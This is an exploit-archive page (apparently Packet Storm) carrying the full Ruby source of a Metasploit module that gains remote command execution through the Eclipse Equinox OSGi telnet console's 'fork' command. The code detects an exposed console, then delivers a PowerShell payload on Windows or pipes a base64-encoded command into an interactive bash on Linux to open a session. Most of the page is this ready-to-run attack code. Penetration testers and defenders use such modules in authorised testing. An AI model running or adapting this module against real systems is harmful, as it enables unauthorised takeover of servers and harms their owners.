Twenty Year Anniversary

Eclipse Equinoxe OSGi Console Command Execution

Eclipse Equinoxe OSGi Console Command Execution
Posted Mar 7, 2018
Authored by Quentin Kaiser | Site metasploit.com

This Metasploit module exploits the Eclipse Equinoxe OSGi (Open Service Gateway initiative) console fork command to execute arbitrary commands on the remote system..

tags | exploit, remote, arbitrary
MD5 | 44d114b8f94ded0eaeebff0fcb23c87c

Eclipse Equinoxe OSGi Console Command Execution

Change Mirror Download
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'base64'

class MetasploitModule < Msf::Exploit::Remote
Rank = NormalRanking

include Msf::Exploit::Remote::Tcp
include Msf::Exploit::CmdStager
include Msf::Exploit::Powershell

TELNET_IAC = Msf::Exploit::Remote::Telnet

def initialize(info = {})
super(update_info(info,
'Name' => 'Eclipse Equinoxe OSGi Console Command Execution',
'Description' => %q{
Exploit Eclipse Equinoxe OSGi (Open Service Gateway initiative) console
'fork' command to execute arbitrary commands on the remote system..
},
'Author' =>
[
'Quentin Kaiser <kaiserquentin@gmail.com>'
],
'License' => MSF_LICENSE,
'References' =>
[
['URL', 'https://www.eclipse.org/equinox/documents/quickstart-framework.php']
],
'Platform' => %w{ linux win },
'Arch' => [ARCH_ARMLE, ARCH_AARCH64, ARCH_X86, ARCH_X64],
'Targets'=> [
[ 'Linux (Bash Payload)', { 'Platform' => 'linux' } ],
[ 'Windows (Powershell Payload)', { 'Platform' => 'win' } ]
],
'CmdStagerFlavor' => [ 'bourne' ],
'DisclosureDate' => 'Feb 13 2018',
'DefaultTarget' => 0))
deregister_options('SRVHOST', 'SRVPORT', 'SSL', 'SSLCert', 'URIPATH')
register_options([
OptInt.new('TIME_WAIT', [ true, 'Time to wait for payload to be executed', 20])
])
end

def check
connect
res = sock.get_once
if res == TELNET_IAC::IAC+TELNET_IAC::WILL+TELNET_IAC::OPT_ECHO+\
TELNET_IAC::IAC+TELNET_IAC::WILL+TELNET_IAC::OPT_SGA+\
TELNET_IAC::IAC+TELNET_IAC::DO+TELNET_IAC::OPT_NAWS+\
TELNET_IAC::IAC+TELNET_IAC::DO+TELNET_IAC::OPT_TTYPE
# terminal type 'xterm-256color' = \x78\x74\x65\x72\x6D\x2D\x32\x35\x36\x63\x6F\x6C\x6F\x72
sock.put(TELNET_IAC::IAC+TELNET_IAC::SB+TELNET_IAC::OPT_TTYPE+\
"\x00xterm-256color"+TELNET_IAC::IAC+TELNET_IAC::SE)
res = sock.get_once
end
disconnect
if res && res == "osgi> "
return Exploit::CheckCode::Vulnerable
end
Exploit::CheckCode::Safe
end

def exploit
begin
print_status("Accessing the OSGi console ...")

unless check == Exploit::CheckCode::Vulnerable
fail_with(Failure::NoTarget, "#{peer} - Failed to access the OSGi console")
end

if target['Platform'] == "win" then
exec_command("fork \"#{cmd_psh_payload(payload.encoded, payload_instance.arch.first, {encode_final_payload: true, remove_comspec: true})}\"")
else
execute_cmdstager({:flavor => :bourne})
end

print_status("#{rhost}:#{rport} - Waiting for session...")

(datastore['TIME_WAIT']).times do
Rex.sleep(1)
# Success! session is here!
break if session_created?
end
rescue ::Timeout::Error, Rex::ConnectionError, Rex::ConnectionRefused, Rex::HostUnreachable, Rex::ConnectionTimeout => e
fail_with(Failure::Unknown, "#{rhost}:#{rport} - #{e.message}")
ensure
disconnect
end
end

def exec_command(cmd)
connect
res = sock.get_once
if res == TELNET_IAC::IAC+TELNET_IAC::WILL+TELNET_IAC::OPT_ECHO+\
TELNET_IAC::IAC+TELNET_IAC::WILL+TELNET_IAC::OPT_SGA+\
TELNET_IAC::IAC+TELNET_IAC::DO+TELNET_IAC::OPT_NAWS+\
TELNET_IAC::IAC+TELNET_IAC::DO+TELNET_IAC::OPT_TTYPE
sock.put(TELNET_IAC::IAC+TELNET_IAC::SB+TELNET_IAC::OPT_TTYPE+\
"\x00xterm-256color"+TELNET_IAC::IAC+TELNET_IAC::SE)
res = sock.get_once
end
print_status("Exploiting...")
sock.put("#{cmd}\r\n")
res = sock.get
sock.put("disconnect\r\n")
res = sock.get
sock.put("y\r\n")
end

def execute_command(cmd, opts={})
cmd_b64 = Base64.encode64(cmd).gsub(/\s+/, "")
# Runtime.getRuntime().exec() workaround on Linux. Requires bash.
exec_command("fork \"bash -c {echo,#{cmd_b64}}|{base64,-d}|{bash,-i}\"")
end
end

Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

File Archive:

November 2018

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Nov 1st
    10 Files
  • 2
    Nov 2nd
    15 Files
  • 3
    Nov 3rd
    2 Files
  • 4
    Nov 4th
    2 Files
  • 5
    Nov 5th
    32 Files
  • 6
    Nov 6th
    27 Files
  • 7
    Nov 7th
    8 Files
  • 8
    Nov 8th
    9 Files
  • 9
    Nov 9th
    17 Files
  • 10
    Nov 10th
    2 Files
  • 11
    Nov 11th
    2 Files
  • 12
    Nov 12th
    33 Files
  • 13
    Nov 13th
    29 Files
  • 14
    Nov 14th
    23 Files
  • 15
    Nov 15th
    45 Files
  • 16
    Nov 16th
    11 Files
  • 17
    Nov 17th
    0 Files
  • 18
    Nov 18th
    0 Files
  • 19
    Nov 19th
    0 Files
  • 20
    Nov 20th
    0 Files
  • 21
    Nov 21st
    0 Files
  • 22
    Nov 22nd
    0 Files
  • 23
    Nov 23rd
    0 Files
  • 24
    Nov 24th
    0 Files
  • 25
    Nov 25th
    0 Files
  • 26
    Nov 26th
    0 Files
  • 27
    Nov 27th
    0 Files
  • 28
    Nov 28th
    0 Files
  • 29
    Nov 29th
    0 Files
  • 30
    Nov 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2018 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close